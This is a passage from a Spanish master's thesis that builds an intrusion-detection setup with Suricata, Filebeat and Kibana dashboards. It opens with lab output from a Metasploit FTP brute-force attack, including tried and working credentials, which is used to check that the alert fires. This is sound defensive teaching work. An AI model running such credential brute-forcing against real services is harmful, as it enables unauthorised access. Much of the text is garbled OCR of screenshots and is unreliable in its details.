LOGIN FAILED: root:1234 (Incorrect: )

LOGIN FAILED: root:qwert (Incorrect: )

LOGIN FAILED: root:tfm.2820 (Incorrect: )

LOGIN FAILED: marcos:toor (Incorrect: )
FAILED: marcos:admin (Incorrect: )
FAILED: marcos:1234 (Incorrect: )
FAILED: marcos:qwert (Incorrect: )
FAILED: marcos:tfm.2820 (Incorrect: )
FAILED: marcos-moreno:toor (Incorrect: )
FAILED: marcos-moreno:admin (Incorrect: )
FAILED: marcos-moreno:1234 (Incorrect: )
FAILED: marcos-moreno:gwert (Incorrect: )
Successful: marcos-moreno:tfm.2020

llustracion 51: Configuracién metasploit Il

Vemos que después de diferentes intentos con varias combinaciones hemos

podido acceder con:

e USer: marcos-moreno

e password: tfim.2020

Podemos comprobarlo lanzando una orden “ftp” contra el servidor objetivo y

probando las credenciales:
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; # ftp 192.168.0.15
Connected to 192.168.08.15.

220 (vsFTPd 3.0.3)

Name (192.168.8.15:root): marcos-moreno

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

ftp> 1s

208 PORT command successful. Consider using PASV.

1580 Here comes the directory listing.

drwxr-xr-x 1000 1000 4096 Nov 13 : Descargas
drwxr-xr-x 1000 1000 4096 Nov 13 - Documentos
drwxr-xr-x 1000 1000 4096 Nov 14 - Escritorio
drwxr-xr-x leee lee@ 4096 Nov 13 - Im??genes
drwxr-xr-x leee l10e@ 4096 Nov 13 - M??sica
drwxr-xr-x 1000 1000 4096 Nov 13 : Plantillas
drwxr-xr-x 1000 1000 4096 Nov 13 : P??blico
drwxr-xr-x 1000 1000 4096 Nov 13 - V77 deos
=I'W-I'W-r— 1000 1000 3559 Nov 14 - index.html
=I'W-T'W-TI— 100 1000 2235 Nov 14 : my.rules
=I'W-T'W-TI— 1000 1000 72454 Nov 14 : suricata.yaml
226 Directory send OK.

llustracion 52: Configuracion metasploit IV

ol % S S R 5 O S B VR N ]

Y efectivamente, hemos podido acceder y listar los ficheros que contiene el
equipo remoto. Por ultimo, si comprobamos si Suricata ha sido capaz de detectar este
ataque vemos que si lo ha logrado:

11/15/26260-13:00:15.075437 [**] [1:1000004:6] FTP Brute Force Attempt [**] [Classification: Misc activ

ity] [Priority: 3] {TCP} 192.168.0.15:21 -> 192.168.0.203:36733
llustracion 53: Alerta de Suricata a ataque de fuerza bruta.

5.2.6. Filebeat

El siguiente paso, es afiadir el médulo para Suricata. Esto lo haremos con la

orden:

e _[filebeat modules enable suricata

Si analizamos el médulo de Suricata, podemos ver la siguiente configuracion:
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hodule_version:

var:

- name:
default:

os.darwin:

os.windows:
- name:

default: [
- name:

default:

ingest_pipeline:
input:

requires.processors:

- name:

plugin:

- nhame:

plugin:

Estudio y puesta en practica de Elastic

llustracion 54: Médulo de Suricata para Filebeat

En él, podemos ver como utiliza como entrada de datos el fichero de logs de

Suricata. Este fichero deberemos modificarlo en caso de que los log no los hubiéramos

dejado en la ruta por defecto.

Por ultimo, lanzamos Filebeat con la orden:

Ufilebear -e

Si los parametros de configuracibn son correctos, y lanzamos Suricata,

podremos ver cdmo se estan indexando los datos dentro de Elasticsearch.
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% Login — Hlastic Cloud X Logs | Stea

Kabans x +

€ ca & 791 ecus-east-1.aws.

: Aplcaciones  § The officil Dilbert. Phagin kibana TG [T nstalacion y Confg.
= B oo
Stream  Anomalies  Categories  Settings

Q. Search for log entries... (e.g. hostname:host-

Nov19,2020  eventdataset Message
T ST e re—
22:36:33.417  suricata.eve failed to

22:36:33.444
22:36:34.001

suricata.eve failed to

suricata.eve failed to

22:36:34.831  suricata.eve failed to
2:36:34.851  suricata.eve failed to
22:36:35.128  suricata.eve Generic 103
22:36:35.508  suricata.eve failed to

22:36:35.524  suricata.eve failed to
22:36:36.131  suricata.eve Generic 10}
22:36:37.135  suricata.eve Generic 10

38, suricata,eve Generic I0)
22:36:54 suricata.eve failed to
22:37:66. suricata.eve failed to
22:37:01 suricata.eve failed to
22:37:62.881  suricata.eve failed to

22:37:63.000  suricata.eve failed to

940 suricata.eve failed to

suricata.eve failed to
suricata,eve failed to
failed to
failed to
failed to

failed to

54 suricata.eve
517 suricata.eve
.558  suricata.eve
9.608  suricata.eve
000 suricata.eve
800 suricata.eve

failed to
failed to
failed to
failed to
£ailad 4a

801 suricata.eve

801 suricata.eve

aoe

nformacién g

.
find message
ind message
tind message
find nessage
find message
P event

find nessage
find nessage
P event

NP event

P event

find nessage
ind message
find message
find nessage
find sessage
find nessage
find nessage
find nessage
find nessage
find nessage
find nessage
find nessage
find message
find message
find message
find nessage
‘

Options

@ ERASMUS «

outld:%279gtwanUBIOGU-kaDFZci%27, fiyoutVisibili

Framework

Instaka docker wal
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Agreger bibiotecas

Log event document details

Field

@timestamp

ndex
agent.ephemeral_id
agenthostname
agentid
agent.name
agent.type
agent.version

Gestination.agdress

destination.bytes
destination ip
destination packets

event.calegory
event.craated
event.dataset

eventkind

fend:nos - 389.6ime:1605621...

glogsid:

™

o = @

Actions

Valve

H

©2020-11-19721:36:36.13
© 8gIWANUBIOGU-kaDFZci
@ flebeat-7.9.3-2020.11.18-000001

(© a2714542-abee-4280-094d-46734a30013
© marcosmoreno-VirtualBox

(2 20238461 1b8-4b69-25b1-98169¢6225¢
@ marcosmoreno-VirtusiBox

© filebeat

[SELE]

©192.168.015

©n

©192.168.0.15

@

@150

© Ihetuwork, ntrusion_de

(8 2020-11-18T21:36:36.2037

©su

icata.eve

Balert

llustracion 55: Inclusién de logs de Suricata dentro de Elasticsearch
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6. CAPITULO 6: KIBANA

En este capitulo vamos a hacer un andlisis de la informacién que se esta
insertando en Elasticsearch. Una vez hecho esto, vamos a crear unos dashboard con
diferentes visualizaciones creadas a partir de los datos de Suricata. Por dltimo, se
tendrd un sistema de roles segun el cargo dentro de la organizacion, y se creard un

dashboard acorde a ese cargo.

6.1. Analisis de la informacioén

Después de enlazar Filebeat con Elastic Cloud, vemos que se ha generado

automaticamente un nuevo indice dentro de Elasticsearch:

filebeat-7.9.3-2020.11.19-000001

Summary Settings Mappings Stats Edit settings

General

Health ® green Status open
Primaries 1 Replicas 1
Docs Count 1392 Docs Deleted

Storage Size 4.6mb Primary Storage Size

Aliases filebeat-7.9.3

Index lifecycle management
Lifecycle policy filebeat Current phase hot
Current action rollover Current action time 2020-11-18 22:31:15

Failed step Phase definition Show definition

llustracion 56: Informacién indice Filebeat

Dentro de este indice se indexaran los logs de Suricata. Lo primero que haremos
sera crear un index pattern. Kibana requiere de este para acceder a los datos de
Elasticsearch que desea explorar, ya que selecciona los datos que se utilizaran y
permite definir propiedades de los campos. Como podemos observar, un index pattern

englobara todos los indices que contengan su nombre.
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Create index pattern

An index pattern can match a single source, for example, filebeat-4-3-22 , or multiple data sources, filebeat-x .
Read documentation 2

Step 1 of 2: Define index pattern

Index pattern name

7.9.3 Next step >

filebe

n asterisk (*) to match multiple indices. Spaces and the characters \, 1,2,", <, », | are not allowed

X Include system and hidden indices

~ Your index pattern matches 1 source.

filebeat-7.9.3 Alias.
Rows per page: 10 ~

llustracion 57: Creacién index pattern |

En el siguiente paso, debemos seleccionar un campo de tipo fecha, el cual sera

utilizado para organizar los datos por la fecha en la que se indexaron.

Create index pattern

An index pattern can match a single source, for example, filebeat-4-3-22 , or multiple data sources, filebeat-* .
Read documentation 2

Step 2 of 2: Configure settings
filebeat-7.9.3

Select a primary time field for use with the global time filter.

Time field Refresh

@timestamp ~

> Show advanced options

< Back Create index pattern

llustracion 58: Creacion index pattern |l

Una vez creado nuestro index pattern vamos a acceder a la herramienta
Discover. Esta herramienta, como ya mencioné en el capitulo 3, sirve para interactuar
con la informacion almacenada en un determinado index pattern. La informacion viene
clasificada por fecha, y podemos cambiarla, seleccionando el rango de tiempo que se
desee. Por otra parte, es posible hacer filtrado de datos por el contenido de uno o
varios campos gracias a la barra basqueda. En la barra de la lateral izquierda, tenemos
todos los campos de los que se compone el indice. Cada una de las filas corresponde

a un documento, es decir, a un log que se ha insertado en Elasticsearch.
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filebeat-7.9.3 v 1,392 hits

llustracion 59: Discover Kibana

A continuacién, mostraré una tabla con un ejemplo de algunos de los principales

campos, viendo qué informacion contiene cada uno:

agent.hostname Nombre de la marcosmoreno-VirtualBox
magquina que
contiene Filebeat

agent.id Identificador de la 202a84e6-f1b8-4b69-a5b1-
maquina que 9a169c6225cf
contiene Filebeat
agent.type Tipo de agente: filebeat
Metricbeat,
Filebeat...
agent.version Version del agente 7.9.3
destination.address IP destino 192.168.0.203
destination.bytes Bytes transferidos al 480B
host destino
destination.port Puerto de destino 34387
event.category Categoria del evento network, intrusion_detection
event.kind Tipo de evento alert
host.hostname Nombre de la marcosmoreno-VirtualBox
maquina analizada
host.ip Direccion IP de la 192.168.0.15
maquina analizada
host.os.platform Plataforma de la Ubuntu
maquina analizada
host.os.version Version del sistema  20.10 (Groovy Gorilla)

operativo de la
magquina analizada

log.file.path Ruta del fichero de /var/log/suricata/eve.json
logs
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message Mensaje del logs Unsuccessful User Privilege
Gain
network.protocol Protocolo de red ftp
utilizado
network.transport Protocolo de tcp
transporte utilizado
rule.category Categoria de la firma Unsuccessful User Privilege
Gain
rule.id Identificador de la 1000004
firma
rule.name Nombre de la firma  FTP Brute Force Attempt
source.address Ip de origen 192.168.0.15
source.bytes Total de bytes 4278

transferidos en la
magquina origen

source.port Puerto origen 21
suricata.eve.alert.category Categoria del evento Unsuccessful User Privilege
de Suricata Gain
suricata.eve.alert.signature Firma del evento de  FTP Brute Force Attempt
Suricata
suricata.eve.in_iface Interfaz de red por la enp03
gue ha circulado el
evento

Tabla 4: Andlisis campos Filebeat

Después de revisar los campos, vemos como Filebeat ha sido capaz de indexar
dentro de cada campo la informacion de las firmas que habiamos declarado en el
fichero de configuracion de Suricata. Una vez hecho este analisis, podemos empezar

a disefar visualizaciones con los datos obtenidos.

6.2. Disefio de dashboard

En este punto Kibana nos ofrece dos formas de crear paneles de visualizaciones.
Por una parte, tenemos Canvas. Es una herramienta de visualizacion y presentacion
de datos que permite extraer datos en vivo directamente de Elasticsearch y combinar
los datos con colores, imagenes y texto para crear pantallas dinamicas. En definitiva,

te proporciona la posibilidad crear dashboard con disefio libre. Ejemplo:
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[ MACHINE [ REQUEST Y1 GEO

05: win 8 /kibana/kibana-6.3.2-linux- ORIGIN COUNTRY: CN
RAM: 13.0GB x86_64.tar.gz DESTINATION: TZ

12
fsses (@) | LA

TOTAL VISITORS

llustracion 60: Ejemplo panel en Canvas

Fuente: https://www.elastic.co/es/what-is/kibana-canvas

Estudio y puesta en practica de Elastic

Por otra parte, tenemos la opcién de dashboard de Kibana. Este es una coleccion

de paneles que se usa para analizar los datos. En un dashboard, se pueden agregar

una variedad de paneles que se pueden organizar liboremente. Entre esos paneles

encontramos, visualizaciones, controles interactivos y demas. Ejemplo:

ne Edit Reporting W 1Sminutes < O Last2ahours >

ra \ *ENo | ma Tonl
$571.82
L ]
(= ]
A
g™
/'/ \\ ff
L ] V
(s O

llustracion 61: Ejemplb de dashboard
Fuente: https://www.elastic.co/quide/en/kibana/6.8/xpack-dashboard-only-mode.html
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Desde la version 7.7 de Kibana, ya es posible agregar paneles de los dashboard
dentro de Canvas, lo que nos proporciona el uso de controles interactivos dentro de
paneles dinamicos y mas creativos. Dado esto, la opcion tomada para el disefio de los

paneles sera Canvas.

6.2.1. Canvas

Si accedemos desde el menu de Kibana a Canvas, comenzaremos creando un
nuevo workpad (panel). Veremos lo que puede parecer un folio en blanco. Sobre este
iremos afiadiendo las visualizaciones y ajustandolas con libertad. Para insertar una
visualizacion, seleccionamos “Add element”. Los elementos estan clasificados por
categorias, segun lo deseado. Comenzaremos afiadiendo una tabla de datos. Esta
esta dentro de “Chart” y “Data Table”.

Si seleccionamos la tabla, en la barra lateral derecha podemos por una parte
darle estilo a la tabla, con un contenedor o con codigo CSS puro, y por otra afiadir la
fuente de datos. La peculiaridad de Canvas, es que tiene la posibilidad de usar
consultas SQL (Elasticsearch SQL) para devolver los datos. En este caso lanzaré una

guery sencilla para mostrar datos en la tabla.

¢ C () & F10e2M70blect04292734b3r3cET ast-L.aws found 1 ' ¥ h T @
g m
= & B My Canvas Workpad @ | m
CHART ) 3
A © Elasticsearch SQL >
Bul
at o host
. e t t
81
H
Li
S P
[T

llustracion 62: Visualizacién en canvas
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Consulta:

e “SELECT ‘@timestamp’, host.name, suricata.eve_event_type,
network_transport, source_address, source.port,
destination.address, destination.port FROM ‘filebeat-7.9.3’ ORDER
BY ‘@timestamp’ desc ”

Con un poco de imaginacion y jugando con los datos se pueden crear paneles
bastante originales. Para este caso he creado dos paneles, uno ira dirigido a un alto

cargo de direccién, como puede ser un ciso, y otro a un perfil mas técnico

6.2.2. Dashboard técnico

Como he mencionado, este dashboard esté orientado a un nivel mas técnico de
la entidad bancaria, ya que se habla por ejemplo mas de temas orientados a redes.

Esta es una pequefia explicacion de las graficas utilizadas para la creacion del panel:

e En primer lugar, he utilizado un filtrado de datos segun la fecha que
contiene el campo timestamp. La eleccion de una fecha u otra afectara a
los datos que se muestran en el resto de visualizaciones. Esta

visualizacion podemos encontrarla en ambos dashboard.

Quick select & )]

< Last ~ days ~ Apply

[#3}

Commonly used

Today Last 24 hours
This week Last 7 days
Last 15 minutes Last 30 days
Last 30 minutes Last 90 days
Last 1 hour Last 1 year
—
O v Nov 15, 2020 @ 00:00:00.000 - ~inaday ]

llustracion 63: Visualizacién Canvas |
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e Una tabla de datos (datatable), que muestra datos de algunos de los
campos que se obtienen en el indice. Contiene informacion como

hostname, tipo de evento, puerto destino etc.

llustracion 64: Visualizacién Canvas Il

e Un grafico de tipo circular (pie chart), que muestra el conteo de la
agrupacion del campo “suricata.eve.event type” en tanto por ciento.
Podemos observar a priori que la mayoria de los eventos capturados han
sido de tipo “http” con un 97,97% para el momento en que se muestran

datos.

Event Types [Filebeat Suricata] ECS [ This week

@ flow alert @ ftp @ dns @@ fileinfo @ htte @ anomaly @ snmp
@ dhcp

llustracion 65: Visualizacién Canvas I

e Un grafico de tipo circular (pie chart), que muestra el conteo de la
agrupacion del campo “network.transport” en tanto por ciento. Podemos
observar a priori que la mayoria de los eventos capturados han sido de

tipo “tcp” con un 99,86% para el momento en que se muestran datos.
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Top MNetwork Transport [Filebeat Suricata] ECS This week

®tcp @ udp @ icmp @ ipvG-icmp

llustracion 66: Visualizacion Canvas IV

e Un grafico de tipo circular (pie chart), que muestra el conteo de la
agrupacion del campo “network.protocol” en tanto por ciento. Podemos
observar a priori que la mayoria de los eventos capturados han sido de
tipo “ftp” con un 78,92%, “dns” con un 14,29% y http con un 5,76% para

el momento en que se muestran datos.

Top Application Protocols [Filebeat Suricata] ECS  [E] This week

o

@ftp @dns @http @ ntp @ dhcp @ snmp

llustracion 67: Visualizaciéon Canvas V
e Un grafico de tipo mapa de calor. En él se representa por un parte (eje y)

el total de bytes que se han transferido por la parte de origen, y por otra
(eje x) la cantidad de bytes transferidos en el destino. La peculiaridad de
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este gréafico es que cuanto mayor sea la cantidad de bytes transferidos

mayor sera la tonalidad del color del gréafico, en este caso el verde.

Size Packets Bytes [ This week e}

0- 500
B - 500 - 1,000
0 1,0 )

Source bytes

il

llustracion 68: Visualizacion Canvas VI

e Tres dropdowns (filtros), distinguidos entre “Network Protocol”’, “Type
Events” y “Destination Port”. Al desplegar el dropdown, se mostraran las
diferentes opciones por las que se filtraran todas las visualizaciones del
dashboard de Canvas. Estas visualizaciones podemos encontrarlas en
ambos dashboards.

Network Protocol

[ - ANY -- v
Type Events

[ - ANY -- v |
Destination Port

| -- ANY -- hd

llustracion 69: Visualizacién Canvas VII

e Por dultimo, una imagen del estado del panel ajustando todas las

visualizaciones anteriores.
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TFM UJAEN

llustracién 70: Workpad técnico

6.2.3. Dashboard ejecutivo

Se ha generado también un dashboard orientado a un nivel mas ejecutivo, en el
gue no se entra tanto en detalle, sino que interesa mas saber, por ejemplo, la cantidad
de ataques que se reciben, la frecuencia, el origen, descarga de datos, etc. Se

compone de los siguientes elementos:

Una tabla de datos en la que tenemos una agrupacion de alertas de Suricata y
de sus correspondientes categorias. Se puede observar el conteo de cada alerta y su
porcentaje correspondiente respecto al total. Cabe recordar que esta informacion es
para un determinado momento de tiempo. También es posible descargar los datos

como fichero .csv al seleccionar en “Raw” o “Formatted”
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Top Alert Signatures [Filebeat Suricata] ECS This week

Alert Signature Alert Category Count Count percentages
TCP Port Scanning Wb Application Attack 3,887 97.049%

FTP Brute Force Attempt  Misc activity 34 0.85%

FTP Brute Force Attempt 27 0.675%

FTP Brute Force Attempt  Unsuccessful User Privilege Gain 12 0.3%

Export: Raw & Formatted X

llustracion 71: Visualizacién Canvas VI

e Un mapa interactivo, en el cual se indica el conteo de los eventos recibidos

por cada pais.

Alert - Source Location [Filebeat Suricata] ECS  [§ This week

(]
» ORTH
NORTI
AMERICA . ASTA
o
. @ @)
= o
AFRICA
A SOUTH OCEANIA
AMERICA

llustracion 72: Visualizacién Canvas IX

e Un “Tag Cloud” el cual, realiza el conteo de un determinado campo, y
aumenta en la visualizacion el tamafio del valor del campo que sea mas
frecuente. En este caso, es una division de los paises de origen de los
gue se ha recibido eventos. Como se puede observar, US es el pais del

gue se han recibido una cantidad mayor.
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Top Connection Source Countries [Filebeat Suricata] ECS This week

US -~
IT P DE

GB au

Top Connection Source Countries - Count

llustracion 73: Visualizacion Canvas X

e Un histograma, en el cual se visualiza para un determinado rango de
tiempo (una semana en este caso), la cantidad de eventos que han sido

recibidos en Elasticsearch.

Total events  [H This week

® Count O

per 60 minutes

llustracion 74: Visualizaciéon Canvas Xl

e Por dltimo, una imagen del estado del panel ajustando todas las

visualizaciones anteriores.
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TFM UJAEN

NORTH
AMERICA

Top Connection Source Countries - Coun

AFRICA
Avert Signatures [Filebeat Sunicata] ECS 8 This week

SOUTH OCEANIA
AMERICA

llustracion 75: Workpad ejecutivo

6.3. Sistema de roles

Al igual que se ha diseflado un panel de visualizaciones para un perfil mas
técnico y otro para un perfil mas ejecutivo, vamos a disefiar un sistema de roles para
cada uno, de manera que cada uno pueda acceder solo y Unicamente a la informacion
gue les corresponde ver. Kibana da la oportunidad de organizar tanto los dashboard,
visualizaciones, index pattern etc por espacios, de manera que cada espacio tendra
Unicamente un determinado numero de cosas. Por lo tanto, vamos a crear dos
espacios. Para ello accedemos dentro del menu lateral a “Stack Management” y
dentro de este seleccionamos “Spaces”. Por defecto aparece siempre el espacio de

“Default’. Seleccionamos “Create a space”:
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Spaces

Organize your dashboards and other saved objects into meaningful categories.

Q) search
Space Description Features Identifier
. Default This is your default space! All features visible

Rows per page: 10 ~

Want to assign a role to a space? Go to Roles.

llustracion 76: Espacios en Kibana

Actions

Asignamos un determinado nombre al espacio, un avatar, una breve descripcion

y seleccionamos “Create space”:

Create a space

Organize your saved objects into meaningful categories.

Customize your space

Name your space and customize its avatar. Name

Note the URL identifier. You cannot change it after you create the space.
Ejecutivo
URL identifier [customize]

ejecutivo

e: https://my-kibana.example/s/ejecutivo/app/kibana

Description (optional)

Avatar

Este espacio estd disefiado para un perfil ejecutivo dentro de la organizacion.

Customize feature display @ireares vt show

Create space Cancel

llustracion 77: Crear nuevo espacio |

Hacemos lo mismo para el espacio del perfil técnico y de esta forma

tendremos los dos espacios creados.
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Spaces

Organize your dashboards and other saved objects into meaningful categories.

Q search

Space Description Features

. Default This is your default space! All features visible
Este espacio esta disefado

‘.‘ Ejecutivo para un perfil ejecutive dentro  All features visible
de la organizacién.
Este espacio estd disefiado

2 Técnico para un perfil técnico dentro All features visible

de la organizacion.

Rows per page: 10~

Identifier

ejecutivo

t-cnico

Estudio y puesta en practica de Elastic

Create a space

Actions

llustracion 78: Crear nuevo espacio I

El siguiente paso es mover las workpad y todas sus visualizaciones a su

correspondiente espacio. Para ello, en el menu lateral derecho (dentro de “Stack

Management”) seleccionamos “Saved Objects”. Dentro de este, seleccionamos el

dashboard técnico y lo copiamos a su espacio correspondiente. Para el técnico,

ademas del panel también nos llevaremos el index pattern, ya que de esta forma podra

acceder al discover para trabajar con los datos. Hacemos lo mismo con el dashboard

ejecutivo.

& Exp

Saved Objects

From a of saved objects. Typically |

app

@  Dashboard Tecnico

&  Dashboard Ejecutivo

=] Pitch

@ Status

@ Light

88 Copy saved object to space

[# Dashboard Tecnico

g

Including related saved objects

Automatically overwrite all saved objects

Select spaces to copy into

&

Ejecutivo

~ 2 Técnico

llustracion 79: Asignar visualizaciones a espacios

Una vez que cada espacio tiene sus correspondientes dashboard, vamos a crear

accesos para estos dos perfiles. En primer lugar, crearemos un rol para cada tipo, con

diferentes funcionalidades. Para crear un rol, seleccionamos en el menu de la derecha

“‘Roles”. Por defecto vemos que ya existen, diferentes roles por defecto creados.

Seleccionamos “Create role”.
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Roles
Apply roles to groups of users and manage permissions across the stack
Q Search.. ‘ Show reserved roles
Role T~ Status Actions
apm_system Reserved
apm_user Reserved
beats_admin Reserved
beats_system Reserved
data_frame_transforms_admin Reserved Deprecated
data_frame_transforms_user Reserved Deprecated
enrich_user Reserved

llustracion 80: Creacion de roles |

Dentro de la configuracién del rol, asignamos un nombre, el indice sobre el que
tendra privilegios de tipo lectura (read) y la configuracion a la que podra acceder
dentro de Kibana. Para el caso del ejecutivo, sélo podra acceder a canvas para

visualizar su dashboard.

Space privileges

Feature

Update space privilege

llustracion 81: Creacidn de roles Il
Para el caso del técnico, aparte de los permisos anteriores, vamos a afadirle

acceso a Discover y la consola de Kibana (Dev Tools) para que pueda hacer consultas

y filtrados sobre los datos.
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Por ultimo, vamos a crear dos usuarios a los que les asignaremos estos roles.
De nuevo, desde el menu de la derecha, seleccionamos “Users”. Dentro de este

“Create User”.

Q search. @ ) show reserved users

User Name T Full Name Email Address Roles Status

anonymous anonymous Reserved

Rows per page: 20 1

llustracion 82: Creacién de usuarios |

Afadimos los datos del usuario, y le asignamos el rol de Ejecutivo:

New user

Username

Ejecutivo

Password

Full name

Ciso

Email address

ciso@tfm.ujaen.es

Roles

Ejecutivo x o

Create user Cancel

llustracion 83: Creacién de usuarios Il

Hacemos lo correspondiente con el siguiente usuario y ya tendremos nuestros

usuarios creados:

Escuela Politécnica Superior de Jaén pag. 95



Marcos David Moreno Torres Estudio y puesta en practica de Elastic

Users

QU Ssearch ( Show reserved users
User Name T Full Name Email Address Roles Status
Ejecutivo Ciso ciso@tfm.ujaen.es Ejecutivo
Tecnico Devops devops@tfm.ujaen.es Tecnico

llustracién 84: Creacién de usuarios Ill

Ahora para probar el acceso, cerramos sesion y accedemos con los nuevos

usuarios para comprobar que efectivamente todo se ha configurado correctamente.

Para el técnico efectivamente tiene limitadas sus acciones en el menu de Kibana

correspondientes al rol asignado, y solo puede ver su espacio:

1]

Recently viewed

Kibana

;N

llustracion 85: Acceso con usuario técnico

Para el ejecutivo ocurre lo mismo, por lo tanto, la configuracién ha sido correcta:

%

Welcome to Elastic

Username

Ejecutivo

Password

Login See more login options

Need help?

llustracion 86: Acceso con usuario ejecutivo |
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n

Recently viewed

P

Kibana

Management

llustracion 87: Acceso con usuario ejecutivo Il

Como detalle final, vamos a afadir que cuando un usuario se identifique en
Kibana, directamente se abra el dashboard asociado a su role. Esto podremos
configurarlo dentro del espacio especifico, en el apartado de “Advanced Settings”. En
“Default route” copiamos la url del workpad y la pegamos. Hacemos lo mismo para

ambos espacios y de esta forma nada mas identificarse aparecera el workpad.

Default route

defaultRoute
t route when opening Kibana. You can use this setting ) )
1 opening Kibana. The route must be a relative URL lapp/canvas#/workpad/workpad-a7acSe33-e32e-4087-a9d5-a72672491266/pag

Reset to default

llustracion 88: Default route
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7. CAPITULO 7: CONCLUSIONES Y TRABAJOS FUTUROS

7.1. Conclusiones

En este capitulo se expondran las conclusiones que se han obtenido a lo largo

de la memoria.

Si repasamos los objetivos que se pretendian cumplir con este proyecto,

podemos sacar las siguientes conclusiones:

Para empezar, hemos mencionado los problemas relaciones con la seguridad
informéatica que afectan al sector bancario y no solo eso, se ha profundizado a niveles
técnicos para conocer cuales son los ataques mas comunes que sufren este tipo de
organizaciones. Una vez sabido esto, se han expuesto diferentes
herramientas/tecnologias que pueden ayudar a solventar este tipo de ataque viendo
que las mas completa es Elastic. Uniendo las capacidades de un IDS como Suricata
y la tecnologia Elastic, se ha conseguido detectar diferentes tipos de ataques a una
organizacion de un simple vistazo en un panel de visualizaciones. Y es mas, se ha
diferenciado el tipo de acceso e informacion visible, segun el nivel jerarquico de un
trabajador dentro de la organizacion. Viendo esto, podemos asumir que los objetivos

han sido cumplidos.

Por otra parte, se puede reconocer la potencia de Elastic a la hora de monitorizar
datos. Como hemos visto sus modulos se adaptan bien a diferentes tecnologias como
Suricata y son capaces de tratar logs distinguiéndose por campos intuitivos y que
facilitan la comprension y lectura del dato. De otra forma, Kibana nos facilita una
interfaz bastante sencilla, con la cual podemos consultar los datos a Elasticsearch
mediante graficos. Y no solo eso, también es posible configurar una politica de
usuarios con diferentes accesos y roles. Cabe destacar, que es una herramienta en
continuo desarrollo, lo que viene a decirnos que cada vez tendrd mas funcionalidad y
por lo tanto sera capaz de resolver nuevos problemas. Esta postura, la sitia en una
buena posicion respecto a sus competidores mas directos a la hora de optar por una

tecnologia u otra.
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Ademas, hay que mencionar la potencia de un IDS como Suricata. Es simple y
robusto, lo que te da la libertad de poder crear tus propias firmas simplemente teniendo
en cuenta las caracteristicas del paquete de red que se transfiere en la comunicacion
de un equipo a otro. En esta memoria se han disefiado cuatro de ellas, pero no tiene
limites y combinado con Elastic, la convierte en una opcion muy recomendable para

cualquier empresa ya tenga una compleja red de comunicacion o una sola maquina.

En general, en una organizacion tan extensa como puede ser una entidad
financiera, en la cual pueden existir cientos de servidores y host comunicandose
continuamente entre ellos, es facil detectar intrusiones o ataques con este tipo de

solucioén.

7.2. Trabajos futuros

Como todo proyecto, y este no va a ser menos, siempre es posible retomarlo
para afadirle funcionalidad adicional. La informatica es un campo que estad en
continua evolucion por lo tanto cada dia se desarrollan nuevas soluciones que pueden
complementar a las que ya existian. Como futuras mejoras propongo dos: IPS y

Machine Learning.

7.2.1. IPS

Como mencioné al presentar la herramienta Suricata, este es tanto un IDS como
un IPS, lo que quiere decir, que ademdas de detectar intrusiones es capaz de
prevenirlas. Esta bien ser capaces de detectar, pero a veces ya es demasiado tarde,
ya que una vez que ha sido detectado el dafio se ha ocasionado es irreversible. Por
ejemplo, si vemos que estamos sufriendo un ataque Dos, a la vez que se lanza la
alerta seria posible deshacerse de esas peticiones para que no colapsen un

determinado servicio. Por este tipo de cosas seria interesante su uso en el proyecto.
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7.2.2. Machine Learning

El aprendizaje automatico es una herramienta util cuando estamos tratando con
grandes cantidades de datos. Por suerte, Elastic tiene implementado su propio modulo
el cual es capaz de interpretar los datos que tiene almacenados en sus indices y a
partir de esto realizar diferentes predicciones. Es cierto, que este médulo esté todavia
en una version beta, pero estd dando buenos resultados por lo que podria ser

interesante integrarlo al proyecto.

Un ejemplo de su uso podria ser a partir de varios datasets (conjunto de datos)
de un determinado rango de tiempo, como un mes, calcular cuando se producira el
préximo ataque. Gracias a esto, podemos estar preparados para ese momento
mejorando las defensas del sistema. Otras funcionalidades pueden ser la
categorizacion de logs, deteccion de anomalias, patrones de datos poco comun, etc.
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ANEXO 1: MANUAL DE INSTALACIONES

1. Instalacién de maquina virtual

Comenzaré instalando Ubuntu 20.04. Abrimos VirtualBox y seleccionamos en el

menu superior Maquina -> Nueva:

¥¥ Oracle VM VirtualBox Administrador - [m] x
Archiva  Méaquina  Instanténea  Ayuda
npey L2 Nueva. Cirl+N @ @ @ |:<(>
Q# -

ﬁ gR  Afadir.. Ctrl+A

Tomar Eliminar Restaurar Clonar  Configuracién Descartar  Iniciar
5 Mm@ Configuracién... Ctrl+S§ Nombre Tomada

% Clonar. Ctrl+0 i) Estado actual

BT -

llustracion 89: Menu aplicacion VirtualBox

Una vez hecho esto, aparecera una ventana emergente en la cual debemos
seleccionar la ruta donde se guardara la maquina virtual, el nombre de esta, y tanto el
tipo como la version del sistema operativo a instalar. En este caso seleccionamos

como tipo Linux, y como version Ubuntu (64 bits).

Nombre y sistema operativo

Seleccione un nombre descriptive ¥ una carpeta destino para la nueva
maquina virtual v seleccione el tipo de sistema operativo que tiene
intencidn de instalar en ella. El nombre que seleccione serd usado por
VirtualBox para identificar esta magquina.

Nombre: |leuntu TFM |

Carpeta de maguina: | C:\Users\Marcos\VirtualBox YMs ~ |
Tipe: | Linux - E;_’ 1
Versidgn: | Ubuntu {64-bit) -
Modo experto Meat Cancelar

llustracion 90: Seleccion de sistema operativo
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En la siguiente ventana de configuracion debemos indicar la cantidad de
memoria RAM que la maquina anfitriona cedera a la maquina virtual. Ya que como
hemos visto antes, contamos con 16 GB de RAM podemos ceder 4 GB a la virtual

para que vaya bastante fluida, a pesar de que con 1 GB seria suficiente.

Tamarno de memoria

Seleccione la cantidad de memoria (RAM) en megabytes a ser reservada
para la maquina virtual.

El tamafio de memoria recomendado es 1024 MB.

L] 409 | .| MB
4 MB 16384 MB
Next Cancelar

llustracion 91: Seleccion memoria RAM

En la siguiente configuracion indicaremos la ruta donde se almacenara el disco
duro de la maquina virtual y el tamafio reservado para este. En esta parte tenemos

dos opciones:

e Seleccionar un tamafio fijo, el cual se llenara cuando se ocupe el tamafio
predefinido.
e Seleccionar un tamarfio dindamico, el cual se ird incrementando conforme

se vaya necesitando mas espacio.

Ya que sélo utilizaré la maquina para este proyecto, voy a seleccionar un tamafio

fijo de 12 GB que sera mas que suficiente.
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<« Crear de disco dure virtual

Ubicacion del archivo y tamario

Escriba el nombre del archivo de unidad de disco duro virtual en el campo debajo o
haga clic en el icono de carpeta para seleccionar una carpeta diferente donde crear
el archivo.

C:\Users\Marcos\VirtualBox VMs\Hacking\TFM\TFM.vdi ‘ @

